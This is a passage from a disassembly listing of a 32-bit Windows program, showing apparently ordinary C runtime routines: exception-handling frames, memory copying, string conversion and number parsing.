var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4143BA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41438C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_7422A4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41438C:				; DATA XREF: sub_414306+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4143A9
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4143B2
; ---------------------------------------------------------------------------


loc_4143A9:				; CODE XREF: sub_414306+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4143B2:				; CODE XREF: sub_414306+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414306	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143BA	proc near		; DATA XREF: sub_414306+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4143DD
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41442A
; ---------------------------------------------------------------------------


loc_4143DD:				; CODE XREF: sub_4143BA+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4181CF
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41441B
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_414208


loc_41441B:				; CODE XREF: sub_4143BA+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41442A:				; CODE XREF: sub_4143BA+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4143BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41442F	proc near		; CODE XREF: sub_41826A+C6p
					; sub_418411+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_414486


loc_41444D:				; CODE XREF: sub_41442F+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_414457
		call	sub_418A72


loc_414457:				; CODE XREF: sub_41442F+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41446C
		cmp	ecx, [eax+8]
		jle	short loc_414471


loc_41446C:				; CODE XREF: sub_41442F+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41447D


loc_414471:				; CODE XREF: sub_41442F+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41447D:				; CODE XREF: sub_41442F+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41444D
		mov	eax, [ebp+var_4]


loc_414486:				; CODE XREF: sub_41442F+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41449A
		cmp	esi, eax
		jbe	short loc_41449F


loc_41449A:				; CODE XREF: sub_41442F+65j
		call	sub_418A72


loc_41449F:				; CODE XREF: sub_41442F+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41442F	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144AC	proc near		; CODE XREF: sub_41B124+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4144C4
		push	[ebp+arg_0]
		call	sub_41E42E


loc_4144C4:				; DATA XREF: sub_4144AC+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4144AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144CC	proc near		; DATA XREF: sub_4144EE+Ao
					; sub_414556+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4144ED
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4144ED:				; CODE XREF: sub_4144CC+10j
		retn
sub_4144CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144EE	proc near		; CODE XREF: sub_4186EB+Dp
					; sub_41B124+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4144CC
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41450B:				; CODE XREF: sub_4144EE:loc_414546j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_414548
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_414548
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_414546
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_414582
		call	dword ptr [ebx+esi*4+8]


loc_414546:				; CODE XREF: sub_4144EE+44j
		jmp	short loc_41450B
; ---------------------------------------------------------------------------


loc_414548:				; CODE XREF: sub_4144EE+2Aj
					; sub_4144EE+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4144EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414556	proc near		; CODE XREF: sub_41870B+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4144CC
		jnz	short locret_414578
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_414578
		mov	eax, 1

locret_414578:				; CODE XREF: sub_414556+10j
					; sub_414556+1Bj
		retn
sub_414556	endp


; =============== S U B	R O U T	I N E =======================================



sub_414579	proc near		; CODE XREF: sub_4189D0+1Ep
					; sub_4189D0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43778C
		jmp	short loc_41458C
sub_414579	endp


; =============== S U B	R O U T	I N E =======================================



sub_414582	proc near		; CODE XREF: sub_4144EE+4Fp
					; sub_41B124+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43778C
		mov	ecx, [ebp+8]


loc_41458C:				; CODE XREF: sub_414579+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_414582	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41459C	proc near		; CODE XREF: sub_402CEB+5p
					; sub_402E8D+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41459C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4145BB	proc near		; CODE XREF: sub_403362+26p
					; .text:0041E205p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_413F7F
		pop	ecx
		retn
sub_4145BB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145D0	proc near		; CODE XREF: sub_4033D3+3Ap
					; sub_4169A4+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4145F0
		cmp	edi, eax
		jb	loc_414768


loc_4145F0:				; CODE XREF: sub_4145D0+16j
		test	edi, 3
		jnz	short loc_41460C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	ds:off_414718[edx*4]
; ---------------------------------------------------------------------------


loc_41460C:				; CODE XREF: sub_4145D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_414624
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41462C+4[eax*4]
; ---------------------------------------------------------------------------


loc_414624:				; CODE XREF: sub_4145D0+46j
		jmp	dword ptr ds:loc_414728[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41462C:				; CODE XREF: sub_4145D0+31j
					; sub_4145D0+8Ej ...
		jmp	ds:off_4146AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_414640
		dd offset loc_41466C
		dd offset loc_414690
; ---------------------------------------------------------------------------


loc_414640:				; DATA XREF: sub_4145D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	ds:off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41466C:				; DATA XREF: sub_4145D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	ds:off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_414690:				; DATA XREF: sub_4145D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	ds:off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4146AC	dd offset loc_41470F	; DATA XREF: sub_4145D0:loc_41462Cr
		dd offset loc_4146FC
		dd offset loc_4146F4
		dd offset loc_4146EC
		dd offset loc_4146E4
		dd offset loc_4146DC
		dd offset loc_4146D4
		dd offset loc_4146CC
; ---------------------------------------------------------------------------


loc_4146CC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4146D4:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4146DC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4146E4:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4146EC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4146F4:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4146FC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41470F:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0:off_4146ACo
		jmp	ds:off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_414718	dd offset loc_414728	; DATA XREF: sub_4145D0+35r
					; sub_4145D0+92r ...
		dd offset loc_414730
		dd offset loc_41473C
		dd offset loc_414750
; ---------------------------------------------------------------------------


loc_414728:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_414730:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41473C:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_414750:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_414768:				; CODE XREF: sub_4145D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41479C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_414790
		std
		rep movsd
		cld
		jmp	ds:off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_414790:				; CODE XREF: sub_4145D0+1B1j
					; sub_4145D0+208j ...
		neg	ecx
		jmp	ds:off_414860[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41479C:				; CODE XREF: sub_4145D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4147B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4147B4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4147B4:				; CODE XREF: sub_4145D0+1D6j
					; DATA XREF: sub_4145D0+1DDr
		jmp	ds:off_4148B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4147C7+1
		dd offset loc_4147E8
; ---------------------------------------------------------------------------
		adc	[eax+41h], cl


loc_4147C7:				; DATA XREF: sub_4145D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_414790
		std
		rep movsd
		cld
		jmp	ds:off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4147E8:				; DATA XREF: sub_4145D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_414790
		std
		rep movsd
		cld
		jmp	ds:off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_414790
		std
		rep movsd
		cld
		jmp	ds:off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_414864
		dd offset loc_41486C
		dd offset loc_414874
		dd offset loc_41487C
		dd offset loc_414884
		dd offset loc_41488C
		dd offset loc_414894
off_414860	dd offset loc_4148A7	; DATA XREF: sub_4145D0+1C2r
; ---------------------------------------------------------------------------


loc_414864:				; DATA XREF: sub_4145D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41486C:				; DATA XREF: sub_4145D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_414874:				; DATA XREF: sub_4145D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41487C:				; DATA XREF: sub_4145D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_414884:				; DATA XREF: sub_4145D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41488C:				; DATA XREF: sub_4145D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_414894:				; DATA XREF: sub_4145D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4148A7:				; CODE XREF: sub_4145D0+1C2j
					; DATA XREF: sub_4145D0:off_414860o
		jmp	ds:off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4148B0	dd offset loc_4148C0	; DATA XREF: sub_4145D0+1B7r
					; sub_4145D0:loc_4147B4r ...
		dd offset loc_4148C8
		dd offset loc_4148D8
		dd offset loc_4148EC
; ---------------------------------------------------------------------------


loc_4148C0:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4148C8:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4148D8:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4148EC:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4145D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414905	proc near		; CODE XREF: sub_40343A+34p
					; sub_40343A+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_413F1D
		pop	ecx
		pop	ecx
		retn
sub_414905	endp


; =============== S U B	R O U T	I N E =======================================



sub_414913	proc near		; CODE XREF: sub_414980+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_743894
		call	sub_418AC8
		mov	edx, dword_743894
		pop	ecx
		mov	ecx, dword_743890
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_414972
		push	edx
		call	sub_418AC8
		add	eax, 10h
		push	eax
		push	dword_743894
		call	sub_4157BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414955
		retn
; ---------------------------------------------------------------------------


loc_414955:				; CODE XREF: sub_414913+3Fj
		mov	ecx, dword_743890
		sub	ecx, dword_743894
		mov	dword_743894, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_743890, ecx


loc_414972:				; CODE XREF: sub_414913+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_743890, 4
		retn
sub_414913	endp


; =============== S U B	R O U T	I N E =======================================



sub_414980	proc near		; CODE XREF: sub_403527+1Ap
					; sub_41E40E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_414913
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_414980	endp


; =============== S U B	R O U T	I N E =======================================



sub_414992	proc near		; DATA XREF: .data:00421014o
		push	80h
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		mov	dword_743894, eax
		jnz	short loc_4149B3
		push	18h
		call	sub_415F07
		mov	eax, dword_743894
		pop	ecx


loc_4149B3:				; CODE XREF: sub_414992+12j
		and	dword ptr [eax], 0
		mov	eax, dword_743894
		mov	dword_743890, eax
		retn
sub_414992	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149C1	proc near		; CODE XREF: sub_403C2B+35Bp
					; sub_403C2B+3D7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	dx, [ecx]
		lea	esi, [eax+2]
		mov	[eax], dx


loc_4149D3:				; CODE XREF: sub_4149C1+21j
		inc	ecx
		inc	ecx
		test	dx, dx
		jz	short loc_4149E4
		mov	dx, [ecx]
		mov	[esi], dx
		inc	esi
		inc	esi
		jmp	short loc_4149D3
; ---------------------------------------------------------------------------


loc_4149E4:				; CODE XREF: sub_4149C1+17j
		pop	esi
		retn
sub_4149C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149E6	proc near		; CODE XREF: sub_403C2B+2B9p
					; sub_403C2B+2DEp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4149FD


loc_4149F3:				; CODE XREF: sub_4149E6+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4149F3


loc_4149FD:				; CODE XREF: sub_4149E6+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4149E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A03	proc near		; CODE XREF: sub_403C2B+17Cp
					; sub_40C212+19p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_414AD0
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_414AFD
		cmp	dword_7422B4, esi
		jnz	short loc_414A54
		cmp	edi, esi
		jbe	loc_414AFD


loc_414A33:				; CODE XREF: sub_414A03+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_414AFD
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_414A33
		jmp	loc_414AFD
; ---------------------------------------------------------------------------


loc_414A54:				; CODE XREF: sub_414A03+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_41F110
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_7422C4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_414AFC
		call	ds:off_41F06C
		cmp	eax, 7Ah
		jz	short loc_414A8E


loc_414A7F:				; CODE XREF: sub_414A03+CBj
					; sub_414A03+F7j
		mov	dword_74222C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_414AFD
; ---------------------------------------------------------------------------


loc_414A8E:				; CODE XREF: sub_414A03+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_414A96:				; CODE XREF: sub_414A03+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_414AB8
		mov	edx, off_4377B0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_414AAD
		inc	eax


loc_414AAD:				; CODE XREF: sub_414A03+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_414A96


loc_414AB8:				; CODE XREF: sub_414A03+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_7422C4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_414AFD
		jmp	short loc_414A7F
; ---------------------------------------------------------------------------


loc_414AD0:				; CODE XREF: sub_414A03+Fj
		cmp	dword_7422B4, esi
		jnz	short loc_414AE3
		push	[ebp+arg_4]
		call	sub_413E90
		pop	ecx
		jmp	short loc_414AFD
; ---------------------------------------------------------------------------


loc_414AE3:				; CODE XREF: sub_414A03+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_7422C4
		call	ds:dword_41F110	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_414A7F


loc_414AFC:				; CODE XREF: sub_414A03+6Bj
		dec	eax


loc_414AFD:				; CODE XREF: sub_414A03+1Aj
					; sub_414A03+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414A03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B02	proc near		; CODE XREF: sub_414D0A+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_414B1A:				; CODE XREF: sub_414B02+46j
		cmp	dword_4379BC, 1
		jle	short loc_414B32
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_414B41
; ---------------------------------------------------------------------------


loc_414B32:				; CODE XREF: sub_414B02+1Fj
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_414B41:				; CODE XREF: sub_414B02+2Ej
		test	eax, eax
		jz	short loc_414B4A
		mov	bl, [esi]
		inc	esi
		jmp	short loc_414B1A
; ---------------------------------------------------------------------------


loc_414B4A:				; CODE XREF: sub_414B02+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_414B58
		or	[ebp+arg_C], 2
		jmp	short loc_414B5D
; ---------------------------------------------------------------------------


loc_414B58:				; CODE XREF: sub_414B02+4Ej
		cmp	bl, 2Bh
		jnz	short loc_414B63


loc_414B5D:				; CODE XREF: sub_414B02+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_414B63:				; CODE XREF: sub_414B02+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_414CFA
		cmp	eax, 1
		jz	loc_414CFA
		cmp	eax, 24h
		jg	loc_414CFA
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_414BAB
